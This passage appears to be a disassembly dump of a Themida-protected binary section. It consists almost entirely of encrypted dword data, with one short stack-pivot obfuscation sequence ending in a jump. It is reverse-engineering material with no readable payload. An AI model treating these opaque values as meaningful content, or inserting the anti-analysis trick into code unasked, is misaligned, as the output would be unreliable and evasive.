		dd 0FD015429h, 0D2E936A6h, 0BA1602AFh, 23297C29h, 3463F11Dh
		dd 0D0133F54h, 0E996EE2Ah, 446FF3F9h, 7C000000h, 0AE359050h
		dd 7D83B310h, 8F492B5Bh, 0F1A98C8Ah, 0A805BAECh, 0A8C27C5Eh
		dd 8C442BAEh, 0A16E4087h, 4A2D29BAh, 0A68F8D92h, 4176E9EEh
		dd 4778A1ECh, 7C613BEAh, 0C2C8BFC4h, 34EA8EBCh,	1A954h
		dd 2BF30000h, 26898E46h, 0A7AC664Ch, 0CAB0AAB0h, 0FE150B10h
		dd 84894124h, 5EDBE034h, 0AC57B854h, 0B03F7295h, 0E43729B9h
		dd 5D1469DEh, 0AFB6FB1Eh, 6DC029B9h, 0D0886D67h, 4B537FB6h
		dd 0F4BDE06Fh, 8A29B9DCh, 0C743337h, 57B90D13h,	0F1A9926Ch
		dd 0B9D4BBF6h, 8469C329h, 5F7621CCh, 59D32E3Ch,	5055A82Eh
		dd 98B26C52h, 2126E0C6h, 0D9D3D5DAh, 8CE19621h,	809A543Ah
		dd 90EC8AEh, 666B250Bh,	0DF1CBFEh, 51574E53h, 4F3587DCh
		dd 619D7B95h, 8A53D427h, 192h, 0DCBF6B97h, 0C790506Fh
		dd 4FD19FC1h, 444903E9h, 8862A6F4h, 0F19CFF05h,	0B1F02F46h
		dd 0BA22238Eh, 2085B29h, 5A0817BFh, 71E712Eh, 23492Dh
		dd 21DA47B1h, 0C9CF7ACDh, 0DE987E7Ch, 93889BC7h, 6F51D5B6h
		dd 0E734F67Ah, 0E0F7A2D1h, 0DA82F4BDh, 31378A21h, 5D17FDCFh
		dd 61745A58h, 58D38EABh
dword_5C0900	dd 8F943FF3h, 92B5F427h, 21DA201Fh, 6D520457h, 0E53AAFB5h
					; DATA XREF: Themida_:0054E730o
		dd 0DCF3AD93h, 2ED462B0h, 948B904Ah, 35DAA290h,	0B3EFCD2Fh
		dd 0DC53D4CDh, 6Bh, 712B0FE9h, 4D6F756Ch, 4D6487C6h, 2929BAA1h
		dd 0DA69E07Dh, 2ED9B4EEh, 0E94DD428h, 8CA34E06h, 44B96869h
		dd 767BCE56h, 0BB46822Fh, 0DD32F3A9h, 0AD654C26h, 71CC53A7h
		dd 39A375Ah, 0D124D646h, 59587BBAh, 0F829B9FCh,	87B9148Fh
		dd 0DF391027h, 453C41FBh, 3032949Ah, 0A6h, 64E95D89h, 4379F081h
		dd 0F1F6AE91h, 0D1D2F4FAh, 261F974Fh, 64C1E327h, 1B7FA2B9h
		dd 752E5A0Bh, 391F1D22h, 0A98E687Fh, 0EFF5ECF1h, 1BD5BB8Dh
		dd 2FDCF16h, 0C56421DAh, 34E6386h, 0C5E821DAh, 21DA02ECh
		dd 15683F92h, 8E459A0Fh, 1218D2B4h, 5E783218h, 3A51EE32h
		dd 7CFDB817h, 0D4EB3E26h, 6F7441A8h, 3558FB53h,	29B35B7Ch
		dd 4AF02h, 0C42E514h, 449197E7h, 0A1A66046h, 7D217EABh
		dd 5A7D9493h, 2E561F75h, 819199C5h, 0BE2369B9h,	0DA91169Bh
		dd 620D6021h, 0D3EA3D5Ch, 0C65288A7h, 6066B123h, 4FD104FEh
		dd 19B6D9F0h, 0A12E5D9Ch, 7B5D374Eh, 13C5BCC1h,	206D732Dh
		dd 6B823C22h, 63A8092Ch, 6B8E21D3h, 21D36446h, 0B306DD30h
		dd 60661E01h, 8C462CFEh, 3C234087h, 0D60B0F1Dh,	8F492F79h
		dd 0FCBDA375h, 0B1B66119h, 0D690744Eh, 35EDD6D0h, 0B00D3A30h
		dd 0ACC68066h, 0FEB69B75h, 5E18FEF8h, 32B59h, 24C10000h
		dd 89432B66h, 0E6A08684h, 4800E3E1h, 0A7614543h, 8C2A4A2h
		dd 69230503h, 0C57D6664h, 25DDC2C0h, 833B2220h,	89506D7Eh
		dd 0D5B951E0h, 815E5554h, 225AA6E1h, 0C1814139h, 0E7FFAF7Fh
		dd 8359C801h, 48704E8h,	89515C24h, 4C181E1h, 81000000h
		dd 4E9h, 240C8700h, 240C895Ch, 0D6768h,	243C8900h, 6A6D6857h
		dd 525F2BD0h, 0AF1F54BAh, 5AD72130h, 37B3F781h,	0F9892767h
		dd 0C63685Fh, 24890000h, 24048324h, 0BB535F04h,	8, 3D0CEB81h
		dd 0FB016F2Eh, 3D0CC381h, 0B896F2Eh, 243C8B5Bh,	81E38953h
		dd 4C3h, 4C38300h, 5C241C87h
		db 8Bh,	0Ch, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_554887
; ---------------------------------------------------------------------------
		dd 8E7D8456h, 12B8B166h, 307E743h, 44E0FFC5h, 0DD188732h
		dd 53523158h, 312A16E3h, 56254F63h, 0C846D27Ah,	37792FB3h
		dd 473AE9A6h, 567E8A39h, 1660D1F8h, 0A853616Dh,	0CB62EE13h
		dd 0BC27FEFAh, 0FF2C0706h, 0EC1C2D12h, 9C11723Ah, 7A0BA8E1h
		dd 7711B4F7h, 0EE5EBF10h, 0C34DF1D0h, 0C7584080h, 61FF65h
		dd 0C375B12Eh, 311388FAh, 26403293h, 5B054E0Ah,	7753A9B0h
		dd 0E90FBD1Dh, 0E83626D7h, 10h,	601D4FBh, 0AB46DC1Fh, 0D9A98E76h
		dd 0A5F55F4Dh, 5ED0BF0Fh, 5DC681F9h, 0B70000DBh, 0BF84h
		dd 7DB10000h, 0F3734FFh, 8158CABFh, 36600EE8h, 0CB8B660Ch
		dd 993AC081h, 800F231Fh, 4, 1840BB66h, 1DBAF081h, 0F28172C4h
		dd 6B54EA24h, 4850F50h,	66000000h, 8FF731BBh, 8B603E04h
		dd 61CF8BCAh, 880Fh, 0EF830000h, 0FE802h, 6DA90000h, 0A6ECA9BBh
		dd 0DB6A3ADEh, 64323F68h, 3FEE804Ah, 664F4F59h,	0B3C7D281h
		dd 2564FF81h, 850FFFFFh, 17h, 0BDE1A1BAh, 23E93Ah, 0EB2D0000h
		dd 0B3F12C3Ch, 0B21E254Eh, 0F814573Bh, 0FFFF6FE9h, 0B56CB8FFh
		dd 17E7CC4Ch, 50B4C178h, 0C6CDDF37h, 0BE829h, 31A90000h
		dd 97A9942Ch, 0BE4570Bh, 0E8F0F62h, 0E9000000h,	9, 0D03165C8h
		dd 0F25D34FDh, 0C1815980h, 6A85h, 68h, 66605200h, 0B14622BFh
		dd 5A5B615Eh, 0BC39CE81h, 34FF677Ch, 11E90Ah, 5AEE0000h
		dd 47B9EE6Dh, 6914B638h, 7DE3717Eh, 58419603h, 0EE8h, 0A257200h
		dd 8B4B2491h, 0C35B52C8h, 0BEA4BCE2h, 54EA72E3h, 57F0815Eh
		dd 0E85B3B7Fh, 0Ah, 7E04E382h, 0EBE97E6h, 7E88F33h, 0E8000000h
		dd 0C9F734DFh, 5E5E0934h, 0F02EC081h, 0F0817D18h, 6B671615h
		dd 8F0F50F9h, 2, 48FFB8Bh, 0FE8B6611h, 6602EA83h, 63FEF681h
		dd 8B664A4Ah, 78FA81D8h, 0FFFFF96h, 1E85h, 810F5000h, 6
		dd 870Fh, 0E95F0000h, 27h, 0B2C86BF7h, 0BC446035h, 66C1B826h
		dd 0E95206BBh, 0FFFFFF4Eh, 8EE952B6h, 167CBCDAh, 7E6E9606h
		dd 61BA9128h, 0E9C83D49h, 4BA9h, 0E7913F68h, 3AC5E907h
		dd 5941FFF9h, 0CCB3859Fh, 4328FA14h, 0B69F718Bh, 3012E4FEh
		dd 0DE075C76h, 0B3CD8769h, 2943FDE1h, 0A2BC7457h, 1630EAD0h
		dd 89284B36h, 0F521D35Ah, 0ACA3E983h, 2F34EED2h, 2B103238h
		dd 0C6B48E46h, 63490AECh, 2ADA4A9h, 0B30006FDh,	892F2450h
		dd 1318D0B3h, 0AE2C181Ch, 2B8BADB3h, 0DEB48E46h, 8B452BACh
		dd 3BACDEB1h, 0A453B051h, 34261A78h, 1D23BA64h,	8E462BFBh
		dd 6ECC6B4h, 0D0FE464Ch, 4F07ECC6h, 0B26A4F49h,	0E2B2D8D8h
		dd 29BAA093h, 0C695F7F0h, 474D05ECh, 2B037DD2h,	0F2EE3546h
		dd 60BC3AAh, 0BA330B0Fh, 0C30FE994h, 8D472BC9h,	0E2B2D8B3h
		dd 0DE3AE643h, 0B0D6B440h, 462BE153h, 0B69D778Eh, 0D8D6F8FEh
		dd 8E462BB2h, 0C6ACDEB4h, 464B03ECh, 6C4F494Fh,	0D8719DB4h
		dd 2411E235h, 0DE7C9EA4h, 0CEF1306Fh, 29BAA0E3h, 644D489Bh
		dd 1A29BAA1h, 0E39FC1C7h, 5ECC6A9h, 0F81536F4h,	44EFF2B8h
		dd 0CD42483Fh, 5F82C170h, 29BA1652h, 11FC25FFh,	9E0DE67h
		dd 2B8EB0B6h, 0DDB48E46h, 23474672h, 0D64A4D01h, 462BAED0h
		dd 0ACDEB48Eh, 0B48E462Bh, 9AC6AFDDh, 0D86E9E5Ch, 0C503D260h
		dd 0FE639296h, 11F6F0F6h, 0C9C37F59h, 0A587462Bh, 0C66640EBh
		dd 9B3D79Ah, 7598E783h,	29BA433Ch, 3E44EF42h, 0E4CBA5DCh
		dd 4729272Ch, 0BADCE28Dh, 7990482Bh, 0BF0CB74Dh, 9298E417h
		dd 2BB2D870h, 0A16F3F49h, 0B60929BAh, 2B5339DCh, 0A16E4048h
		dd 0B50829BAh, 2B5339DBh, 88868B45h, 0BBE7ECA6h, 505AA5FAh
		dd 80381FF9h, 9AC6587Ah, 26B3B089h, 0E65B61A1h,	0ECC61789h
		dd 15384F07h, 29BAA09Ch, 8F898FE2h, 0BC3D9BACh,	0E0DEE751h
		dd 5E441E35h, 0BCA19FA4h, 5D08FF04h, 4E8E2346h,	95E829BAh
		dd 0B2D86D8Fh, 0BA69B1E2h, 52FD8629h, 0D2D78F78h, 0B0B3D5DBh
		dd 482BE153h, 0BD9F7990h, 107FE03h, 2BC9C3DFh, 3A799048h
		dd 0BAA09A17h, 0A88AE429h, 47F2E9EEh, 0F4F9B395h, 39D5F7FDh
		dd 8B452B53h, 2B5339B1h, 8D8B9048h, 0F5EBF0A8h,	2F286BC8h
		dd 6ECC6F1h, 88E9A6F3h,	0BE698AD6h, 74EE43B8h, 0A589482Bh
		dd 0C1B68F92h, 19C42BF3h, 6228946Eh, 4D05ECC6h,	514B5148h
		dd 0D8DCB66Eh, 24482BB2h, 0BAA0B001h, 6F73C629h, 5DE3A2CBh
		dd 0E5BF6A7Fh, 1C33B2D8h, 9CA15942h, 0C67D9FA5h, 494F07ECh
		dd 2B057FD4h, 0C3B69048h, 8ECC6C9h, 6B4E484Eh, 0ECC6D9B3h
		dd 544B500Ah, 89B5EC4Eh, 0F6805F6Eh, 113339E3h,	0B690482Bh
		dd 0ECC6B2D8h, 52494E08h, 0B56D524Ch, 6F93729Eh, 483047ADh
		dd 0F1F6B096h, 0D8D2F4FAh, 90482BB2h, 9A173A79h, 0E429BAA0h
		dd 0DE698B91h, 0A09AC6ACh, 8860CAB6h, 7F635D63h, 306FAEC5h
		dd 0BA3FA40Dh, 8C87DA29h, 29BA4025h, 0D6F8FE51h, 0AC956FDEh
		dd 0CF1EFF4h, 0AD584F54h, 0C1A179A9h, 0FA007887h, 57311CD8h
		dd 0BFB6BB75h, 9AC697B9h, 0D75FF14Dh, 5DD2D8B2h, 482B8E00h
		dd 0B99F7990h, 0AE5911F8h, 72DD86A8h, 0FAC72346h, 0BA97DAD7h
		dd 4D51A429h, 0EEA0123Fh, 564D520Ch, 482B2E50h,	0C9C3B690h
		dd 4A24482Bh, 66A9AF67h, 29BAA148h, 3901DB2Eh, 9C563C16h
		dd 0E7B37496h, 0B0A6E4EDh, 482BE153h, 0BAA16E40h, 0CAAE0829h
		dd 224E6510h, 4E8C4C52h, 91B3B917h, 4D6487C6h, 2929BAA1h
		dd 0DD3D0D6h, 2BC240D1h, 0D8B69048h, 0B89B75h, 0DCFE04FBh
		dd 124482Bh, 29BAA0B0h,	395C73C6h, 29BAA078h, 0E900ABFEh
		dd 6F742C0Fh, 0A0C8E90Ch, 5BAE29BAh, 0D888AAB0h, 0FBB59B75h
		dd 3E7B70F7h, 7F857D32h, 8C442B5Dh, 0ECA48987h,	4903E9E7h
		dd 0B2674D44h, 2C33B95Dh, 9949E1Bh, 350F425Eh, 9C939850h
		dd 0ECC67496h, 0A75F4605h, 2C81F6FCh, 90482BB2h, 0B0C9C3B6h
		dd 40D1E153h, 90482BC2h, 0FABB9F79h, 0ABB15C16h, 0C6B2D889h
		dd 474B03ECh, 2267DDFFh, 5C9FA5E6h, 29B9E6D2h, 0EA173864h
		dd 0E025A731h, 0D4B6B8DAh, 2BE153B0h, 0C6B69048h, 4D5109ECh
		dd 25A28D88h, 389AA0A4h, 0E153B03Eh, 0B690482Bh, 0D2979AC6h
		dd 0BBD1D8C9h, 0C65953B5h, 0A14D6487h, 0D62929BAh, 3AF4D6D0h
		dd 0C6B2D860h, 0C027AE9Ah, 0DBE15BDEh, 6B45FFE1h, 16A89AC6h
		dd 84E395D2h, 0BA085061h, 28D32629h, 0B3AFD522h, 3817DCF6h
		dd 0B8BD755Eh, 0B099BBC1h, 492BE153h, 0C9C3B58Fh, 4D6487C6h
		dd 2929BAA1h, 853D24D6h, 0E9A3857Fh, 0C6B2D80Fh, 0A14D6487h
		dd 0D62929BAh, 0E6F0D6D0h, 29BAA0C8h, 39815BAEh, 9ECC653h
		dd 3BD9F51h, 8F0107FEh,	7CD36D67h, 106C0A2h, 0B0E2040Ah
		dd 0E5CAA453h, 0DA853D26h, 492BB2D4h, 0ECC6B58Fh, 0FC4C5109h
		dd 660961D7h, 4046F18Ch, 0E6CDA7DEh, 0D106282Eh, 442BC240h
		dd 0B2D8B28Ch, 0D2A748E2h, 0D6B43B12h, 337F9AC6h, 22B9191h
		dd 0B82A87FCh, 2BE153B0h, 94253748h, 0D1D68E73h, 4995D6DAh
		dd 0D8835D08h, 8F492BB2h, 2BACDEB5h, 0DEB28C44h, 0B07F0DACh
		dd 492BE153h, 0AFDDB58Fh, 788F492Bh, 4DFFB79Eh,	0B5ACB16Bh
		dd 0C9C38DAFh, 0B58F492Bh, 462BC9C3h, 0E1E69E87h, 0D8653FEAh
		dd 8E462BB2h, 3675D8B4h, 0BAA09E13h, 6E85D829h,	0BAA1664Bh
		dd 0B7BD1029h, 5E07E295h, 0B67CD645h, 0CE9AC6D4h, 7982E0C0h
		dd 0E82B86A9h, 5329B9h,	85DA4F55h, 8E462B0Bh, 2BC9C3B4h
		dd 0D8B48E46h
		dd 8F492BB2h, 2BB2D8B5h, 89878C44h, 0F0E6EBA5h,	0FC236EC3h
		dd 6487C61Ah, 29BAA14Dh, 5BD0D629h, 462B8C06h, 0C9C3B48Eh
		dd 0B28C442Bh, 9BE2B2D8h, 98778440h, 53B0D6B4h,	8E462BE1h
		dd 6487C6B4h, 29BAA14Dh, 2AB27D29h, 0A237FACh, 0E60C595Fh
		dd 0B18B452Bh, 5933B2D8h, 4D6487C6h, 2929BAA1h,	65BD0D6h
		dd 8E462B8Ch, 2BC9C3B4h, 0C3B48E46h, 90482BC9h,	2BB2D8B6h
		dd 0D8B58F49h, 0B877E2B2h, 2BCCD87Fh, 88868B45h, 83E6EBA3h
		dd 0BAA15160h, 30DA2D29h, 3A63AE03h, 8ECC65Ch, 7ED3484Eh
		dd 89482B04h, 6842EDA7h, 482B5339h, 173A7990h, 29BAA09Ah
		dd 698B91E4h, 0B1849AC6h, 0CC799B6h, 0FF341A06h, 0E153B08Dh
		dd 0A389482Bh, 3F44FEE2h, 18F29D48h, 482B6228h,	0B2D8B690h
		dd 4D6487C6h, 2929BAA1h, 0F1D6D0D6h, 0B2D85F39h, 78F01C33h
		dd 0B100238Ch, 0CD29B9D3h, 11DA767Ah, 0B025474Dh, 482BE153h
		dd 0E5EAA289h, 9F573CEEh, 1EF8A39Ah, 9A608CC3h,	662006AAh
		dd 26666A61h, 91B3B903h, 0E006ECC6h, 0BAA0F4BDh, 8C378A29h
		dd 908A9087h, 4F6285A9h, 2729BAA1h, 0C64F29D4h,	464C06ECh
		dd 0ECC6D3F9h, 50474C06h, 0B169504Ah, 9B75D8D7h, 0D8FA00B8h
		dd 0BA7C0EE2h, 59336929h, 2BE153B0h, 9B758C44h,	1F8FDB7h
		dd 8CC3D9FBh, 0A0872A4Dh, 9CEF29BAh, 452B7496h,	0B2D8B18Bh
		dd 0E14473E2h, 0D6B4D092h, 4FC39AC6h, 80AE1FEDh, 0F9A8057Ah
		dd 6777DFCDh, 343AA6A5h, 40482B12h, 29BAA16Eh, 512F5C08h
		dd 0B568E241h, 5339300Ah, 33869AC6h, 758412B8h,	4963FD6Fh
		dd 878C442Bh, 0E7ECA489h, 60A300B5h, 87C6236Dh,	0BAA14D64h
		dd 0D0D62929h, 2B8C065Bh, 644A2448h, 0FCAEA5AAh, 16595F17h
		dd 29BAA098h, 0C6B18BDEh, 474D05ECh, 442B844Ah,	9AC6B28Ch
		dd 6FE0CCCEh, 0D0886B11h, 2329D4CBh, 0C9B08AC1h, 666B230Ah
		dd 0C8BFC46Fh, 0ECC6A0C2h, 4D474D05h, 6F9BB26Ah, 144EDF70h
		dd 4F717783h, 4D6487C6h, 0E929BAA1h, 0BAA0EBC6h, 69409329h
		dd 0A12A87AAh, 15429BAh, 0F4EE5056h, 768D472Bh,	0F8FEB89Ch
		dd 2BB2D8D6h, 0A1713D47h, 9BC729BAh, 0D94E4F20h, 87A6AC26h
		dd 53395A34h, 0B690482Bh, 0B9D35339h, 2BE153B0h, 0A1713D47h
		dd 0B40729BAh, 6487C6DAh, 29BAA14Dh, 70D2D629h,	4B0F0A5Eh
		dd 6588747Ah, 0EDAE0326h, 75C829B9h, 0AAB34D6Fh, 7650FF38h
		dd 0DBD2D78Fh, 868B4529h, 0B067898Fh, 472BE153h, 0BAA1713Dh
		dd 0DAB40729h, 4D05ECC6h, 1B474A47h, 5304EDDAh,	0BEE0E60Bh
		dd 0FE21472Bh, 29BAA0B3h, 0D08871CBh, 7E29D4CBh, 0AC052867h
		dd 0D229BAA0h, 6C45687Fh, 1229BAA1h, 0D897B9BFh, 0DBC9B3B2h
		dd 0ECC67517h, 0AB634807h, 0FE04FB00h, 2BBA3489h, 37768D47h
		dd 0B8BD775Dh, 0A0EBC6C1h, 409329BAh, 8CC3183Ah, 0A0872A4Dh
		dd 9CEF29BAh, 10E27496h, 2629BA94h, 0A7AD654Ch,	8D472B85h
		dd 0C6C9C3B3h, 4B5109ECh, 0D9B36D51h, 0CCB28CC3h, 0C37B6012h
		dd 482B9BBDh, 0B2D8B690h, 0BA5E54E2h, 3318F229h, 0D1D69074h
		dd 977D2FDAh, 0DBE1D8DDh, 90482BB9h, 2BC9C3B6h,	0D8B38D47h
		dd 8D472BB2h, 2B5339B3h, 614A2448h, 0A7ADA4A9h,	0BAA14A64h
		dd 0FFD92C29h, 482B6228h, 0BB9F7990h, 1CFEFC01h, 8FB1B762h
		dd 4B03ECC6h, 2BE9E345h, 0C6B69048h, 9A4C06ECh,	2F9FEB8h
		dd 2B83B5FCh, 0C6B28C44h, 0EFADDD9Ah, 886B6F53h, 2201B619h
		dd 8CD3D984h, 9B5A431Dh, 3FAFFB9h, 0E3305258h, 0AECC6A9h
		dd 4E544B50h, 2B0A84D9h, 0DDB69048h, 8D472BAFh,	2FEB4A76h
		dd 424701E7h, 393A474Bh, 0C665878Dh, 33B5099Ah,	0C1C70AD0h
		dd 482B487Ah, 173A7990h, 29BAA09Ah, 698B91E4h, 482BAFDDh
		dd 0C9C3B690h, 0B28C442Bh, 4F07ECC6h, 0BF99FC49h, 0FA1C22DAh
		dd 738A422Bh, 0A0A01134h, 44A929BAh, 9EA1F6FDh,	0B4BA0DE4h
		dd 2BB2D892h, 0D8B38D47h, 0A19AC6B2h, 282DCB55h, 0B89A949Ah
		dd 0B2D824FEh, 53B0D6B4h, 20442BE1h, 0BAA0B4FDh, 0CC77CA29h
		dd 3BF5DBB5h, 0ACDE1335h, 4D05ECC6h, 514B5148h,	0EC6AF6Eh
		dd 8D671209h, 9C99AC6h,	0AF7868F3h, 0A83C7598h,	0EF4229B9h
		dd 5933A2E9h, 93B5BB75h, 53B0C1CBh, 8C442BE1h, 3372DDB2h
		dd 0BAA0A110h, 848ADD29h, 86472B62h, 81C8C9Dh, 0EACF7F12h
		dd 19EA3A3Fh, 6B8F2385h, 0E8C26D18h, 424975D8h,	742CECF7h
		dd 0E233555Bh, 0A19FB781h, 0B0D6B4F6h, 422BE153h, 0C9C3B08Ah
		dd 0B38D472Bh, 4D6487C6h, 2929BAA1h, 5D83D0D6h,	0B28C442Bh
		dd 133675D8h, 29BAA09Eh, 5D7F85D8h, 4C06ECC6h, 0FFD5D446h
		dd 53B07517h, 85442BE1h, 0EEE5EAA2h, 0F19C563Ch, 2BC9C317h
		dd 0C6B28C44h, 0A14D6487h, 684E29BAh, 0DBB2A9AEh, 4838FE2Fh
		dd 0CD780A31h, 22E65C7h, 3D1F4593h, 83877E83h, 9278B038h
		dd 5272DD8h, 0A183422Bh, 0D8623CE7h, 6487C6B2h,	29BAA14Dh
		dd 0D9B06A4Eh, 654C6F86h, 1129BAA1h, 0D8BEB8BEh, 0A5C8071Eh
		dd 29BAA10Ch, 0F4F9B397h, 0E6CC26FDh, 347D812Ch, 0A3291EBDh
		dd 0D874969Ch, 0A6B99B75h, 0B2070DDDh, 444AF51Ah, 0C6D6B422h
		dd 0A14D6487h, 6C4E29BAh, 9C81DBB2h, 0FF2239E4h, 29BAA0B2h
		dd 0FE7379CCh, 2F18F2A1h, 0C97B7277h, 2E252AE2h, 0BEE20628h
		dd 0B929BA92h, 0B28C442Bh, 442BC9C3h, 0C9C3B28Ch, 0B28C442Bh
		dd 5C3675D8h, 0ECC5C07Ah, 9229BAA0h, 0C617393Fh, 4B500AECh
		dd 930B4E54h, 0E229BABFh, 0B28C442Bh, 442BC9C3h, 0B2D8B28Ch
		dd 4506ECC6h, 0F6FCA761h, 0BA2E7EB3h, 1C33F529h, 0A0F7BADDh
		dd 2C7F29BAh, 53B00426h, 3ECC6E1h, 494F464Bh, 2144684Fh
		dd 29BAA090h, 0EE893E6h, 9AC6C9C3h, 5266C234h, 554F5572h
		dd 0C6DCB66Eh, 494F07ECh, 452BD002h, 0A0B5FC1Fh, 6EC129BAh
		dd 0ECD2ACC3h, 30362D32h, 436FDE0Eh, 16CA6364h,	597B819Bh
		dd 53B0513Bh, 6F4265A4h, 729BAA1h, 2B8CAEB4h, 9B758C44h
		dd 2F9FEB6h, 0AFDDDAFCh, 758C442Bh, 0A09E1336h,	2CD829BAh
		dd 97F10D3Fh, 3F45F028h, 9B75D81Dh, 466B8EB2h, 3029BAA1h
		dd 0F81B32DDh, 29BAA0B9h, 4A6C72C5h, 4D6487C6h,	4E29BAA1h
		dd 89DCB36Bh, 7EA28983h, 0BAA1565Bh, 22CD2029h,	956FDE48h
		dd 4E06EDACh, 0A1A79EA3h, 84452B7Fh, 0E7DEE39Bh, 0ACDE623Ch
		dd 53B0513Bh, 33442BE1h, 0AD6FFEDFh, 6D47F27Dh,	0B49872DDh
		dd 0F8FEF5FAh, 8C442BD6h, 2BC9C3B2h, 0C3B28C44h, 8E462BC9h
		dd 2BB2D8B4h, 4B778E46h, 0F92D5001h, 0DF868A7Bh, 4EF20927h
		dd 0C62D4F55h, 4A500AECh, 452BD103h, 0C29A7832h, 0B9DCB17Dh
		dd 29B9E1F8h, 0D5802B7Eh, 0CBACDEFBh, 0E153B0C1h, 0B48E462Bh
		dd 462BAFDDh, 1538778Eh, 29BAA09Ch, 0F7DD8FE2h,	0C615373Dh
		dd 0A14D6487h, 0CF2929BAh, 7E842FE9h, 0C9B30B31h, 0B07517DBh
		dd 9AC6E153h, 0E19F348Dh, 0CF896F0Ch, 3F241E24h, 0B0967087h
		dd 0F4FAF1F6h, 2BC9C3D2h, 9E788F49h, 5A14FAB9h,	0ADB35E55h
		dd 2BB2D88Bh, 0C6B38D47h, 0C2E509ECh, 29BAA0EFh, 83893487h
		dd 99B41036h, 1D23DDBFh, 0E153B0FBh, 0B48E462Bh, 0C8B3B2D8h
		dd 0C6D5B7DAh, 4C5109ECh, 85DA4F55h, 8E462B0Bh,	2BC9C3B4h
		dd 0C6B48E46h, 4C5109ECh, 0F3ED4F55h, 758C442Bh, 0FB00B89Bh
		dd 0D8DCFE04h, 0FEB69B75h, 0DAFC02F9h, 4E08ECC6h, 0AE684E48h
		dd 0BF9AC6D4h, 823A232Bh, 0C982867Dh, 0A76145F4h, 46A9F6FCh
		dd 9972671Ah, 535993EEh, 0AECC631h, 6B4D4B50h, 0AB5ACB1h
		dd 6B230A04h, 3675D891h
		dd 0B8BD755Ch, 0A0EBC6C1h, 409329BAh, 0D6B4183Ah, 0C6E153B0h
		dd 484D05ECh, 2AD654Ah,	0AFB56D50h, 0FF16CEB5h,	9B3AE3D3h
		dd 0F3F92C8Eh, 2BB2D8D1h, 0D8B38D47h, 8E462BB2h, 0EBA58B89h
		dd 0A2FFB4E6h, 0B0117F5Fh, 442BE153h, 0E1E69E85h, 0C3653FEAh
		dd 0C240D1C9h, 0FA33442Bh, 4A4644A4h, 0D8BC9641h, 9E133675h
		dd 0D829BAA0h, 0B38E8185h, 18FF81C0h, 482BF012h, 0B2E8E637h
		dd 191015CDh, 7DFBEA15h, 0B2D8F8D2h, 53B05933h,	6F4265A4h
		dd 729BAA1h, 621C02B4h,	3E60665Dh, 0B28C442Bh, 0D0B28CC3h
		dd 141A1116h, 0A453B0F2h, 1C361278h, 5437E8BBh,	0C9EBF19Ch
		dd 0B28C442Bh, 944975D8h, 0DC6FA6BDh, 0E2CAECF2h, 29BA6D3Dh
		dd 0B095F73Ah, 442BE153h, 0C9C3B28Ch, 0B28C442Bh, 452BC9C3h
		dd 0E3E8A284h, 0D86741ECh, 0FDB79B75h, 442BD5F7h, 0ECC6B28Ch
		dd 0FA474D05h, 8C442BD4h, 0D34A4975h, 63F124F4h, 0B2D83B5Dh
		dd 87C6D6B4h, 0BAA14D64h, 28D0FC29h, 0B6DC63FEh, 11868CDFh
		dd 422B05BCh, 0DC8E858Ah, 16383EF8h, 8D32452Bh,	0A106BF21h
		dd 88C7DE89h, 0B9CF4C65h, 50733229h, 29B9CF61h,	191FCA1Dh
		dd 0FC9AC6F7h, 32920ED6h, 8CB2FF05h, 4D05ECC6h,	0EFC2E548h
		dd 8729BAA0h, 89838934h, 94D3EAA2h, 161BD3BAh, 0A08D241Fh
		dd 96E929BAh, 87C66E90h, 0BAA14D64h, 0BFD62929h, 0BAA1159Ch
		dd 80E6129h, 593395BBh,	2BE153B0h, 0C6B18B45h, 0A8BE249Ah
		dd 0E050AC4h, 74A0110Ah, 2B120C6Eh, 0D8B58F49h,	6B68E2B2h
		dd 0B4DBDDBBh, 0E153B0D6h, 0B58F492Bh, 9CB35339h, 0B0B9D306h
		dd 452BE153h, 4248748Bh, 0C08EECD2h, 0AC570FF2h, 0ECC684A6h
		dd 534A4F07h, 2BF1EB4Dh, 0D8B18B45h, 8E462BB2h,	0C6B2D8B4h
		dd 4B5109ECh, 172EBD08h, 3C1FF964h, 82887F84h, 8C442B60h
		dd 0EEA68987h, 0DB3881E9h, 0B0916F98h, 452BE153h, 0B2D8B18Bh
		dd 7990482Bh, 9A7B89Fh,	0B3CF45B0h, 0FD1F25D0h,	0CBC1B2D8h
		dd 2BE153B0h, 0C3B18B45h, 8F492BC9h, 0C65339B5h, 0E226B89Ah
		dd 0E6ECADE9h, 354C06ECh, 7E381CF6h, 0B9AC2E83h, 0EFF54829h
		dd 2B6228CDh, 0C6B38D47h, 0DBF5B19Ah, 0F56046CEh, 0C234A320h
		dd 0B50208B3h, 8A422B8Fh, 0AB9AC6B0h, 0BD0BD517h, 2349969Ch
		dd 9C83422Bh, 3DE8DFE4h, 9A543A38h, 90ED2295h, 2F09244Dh
		dd 92898E46h, 87C66A8Ch, 0BAA14D64h, 0D0D62929h, 2B8C065Bh
		dd 0C6B18B45h, 454B03ECh, 0E9A3E9E3h, 5380ACA3h, 44FCDF5Dh
		dd 0E96AA640h, 46E2C1E3h, 4129BA81h, 0A389482Bh, 4045FDE2h
		dd 0DCF39E49h, 24DCC39Dh, 0BAA08829h, 742C1329h, 4EA1786Fh
		dd 0B2D82648h, 1406321Dh, 5BDA0B2h, 26050900h, 517379CEh
		dd 0A10EA3C6h, 156829BAh, 7C3B24FEh, 0DFD6DB93h, 0B7FA1D34h
		dd 0BF29BAA0h, 0C344666Ch, 369AC6C9h, 0D9786858h, 9446898Fh
		dd 0E729BA46h, 0B38D472Bh, 7E4975D8h, 0BC5CF0BFh, 2889ACC3h
		dd 4E29B9ACh, 1DD3F5FBh, 0AD87C66Fh, 12090EC6h,	0A0E8C90Ch
		dd 3B8E29BAh, 2BC9C361h, 0D8B08A42h, 0D4F73675h, 29BAA0DDh
		dd 664B4699h, 1029BAA1h, 0E295B7BDh, 29BA8439h,	1D9FED0Eh
		dd 5B87C66Fh, 0B53BCA13h, 0B367A95Ch, 6B2974D7h, 3A77BAC0h
		dd 4429BA09h, 789BDAF1h, 29BA0939h, 0CAECF245h,	492BC9C3h
		dd 0D821CF8Fh, 0A0CFE2B2h, 33A429BAh, 0E153B059h, 0A3C66F1Dh
		dd 29BAA10Eh, 4FBDFC28h, 4C92CB93h, 0FAD42746h,	6F1DC9C3h
		dd 422BB2D8h, 0B299738Ah, 0A96148FAh, 85A7ADA4h, 9FEDC9C3h
		dd 0BAA0CFE2h, 5933A429h, 65A453B0h, 0BAA16F42h, 4B5B0729h
